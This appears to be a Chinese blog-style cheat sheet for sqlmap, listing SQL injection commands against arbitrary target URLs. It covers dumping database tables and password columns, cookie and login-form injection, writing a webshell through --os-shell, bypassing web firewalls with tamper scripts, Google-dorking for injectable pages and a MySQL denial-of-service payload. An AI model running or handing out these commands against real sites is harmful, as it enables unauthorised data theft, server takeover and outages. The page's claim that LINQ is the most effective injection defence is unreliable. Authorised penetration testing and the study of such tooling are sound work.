Sqlmap的使用

1. MySQL数据库注入

  • 检查注入点(主要看是否能返回消息):sqlmap.py -u url
  • 爆所有库:sqlmap.py -u url -dbs
  • 爆当前库:sqlmap.py -u url --current-db
2.Access数据库注入
  • 判断是否是access数据库:url and exists(select id from MSysAccessObjects)
    其他数据库判断语句:
Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>
  • access数据库没有库的概念,直接爆表sqlmap.py -u "url" --tables
  • 爆列,爆字段,可以在日志里找到
3. 指定数据库,操作系统
  • 检查是否是注入点
  • 爆库:sqlmap.py -u url --dbms mysql 5.0 --current-db
  • 爆表:sqlmap.py -u url --dbms mysql 5.0 -D cms --tables
  • 爆列:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_user --columns
  • 爆字段:sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_users -C password ,username --dump
4. 请求延时注入
  • 测试注入点:sqlmap.py -u url -p id
  • sqlmap注入方式techniquesqlmap.py -u url --technique T
B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)
  • 猜数据库sqlmap.py -u url --technique T -time-sec 9 --current-db
  • 其他参数:--delay--safe-freq
5.常规伪静态注入
【Sqlmap的使用】伪静态:主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。
  • 加星花:sqlmap.py -u "url*.html" --dbs
  • 利用sqlmap注入:sqlmap.py -u "url*.html" --current-db --hex
  • 爆表:sqlmap.py -u "url*.html" -D "cms" --tables –hex
6.cookie注入
  • burpsuite获得cookie
  • sqlmap的cookie注入攻击:sqlmap.py -u url --cookie “uname=admin" --level 2
  • 爆库,爆表,爆列,爆字段
7.POST登录框注入
  • burpsuite抓包右键保存到\Python2\sqlmap中
  • 测试能否注入sqlmap.py -r 1.txt -p user(-r:让sqlmap加载post请求,-p:指定注入用的参数)
  • 爆库 sqlmap.py -r 1.txt --current-db
  • 自动搜索表单:sqlmap.py -u url --form
  • 指定一个参数:sqlmap.py -u url --data "name=1&pass=1"
8.交互式写shell及命令执行
  • 测试注入点:sqlmap.py -u url -p id
  • 利用SQLmap写webshell:sqlmap.py -u url --os-shell 输入脚本语言,输入网站绝对路径
9.绕过WAF防火墙
  • 利用tamper脚本绕过过滤: sqlmap.py -u url --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
10.sqlmap模板使用,编写
  • 尝试注入 and 1=1被拦截
  • 利用%0a尝试绕过,发现可以
  • 编写tamper模板,利用sqlmap跑库(c:\python27\sqlmap\tamper)
  • 利用sqlmap跑库sqlmap.py -u "url" --dbs --batch --tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py
11.利用sqlmap来google搜索
  • 查找页面:sqlmap.py -g inurl:php?id=
12.sqlmpa进行Mysql DOS攻击
  • 获得shell:sqlmap.py -u url --sql-shell
  • 进行攻击:select benchmark(9999999999,0*70726f63409284209)

    推荐阅读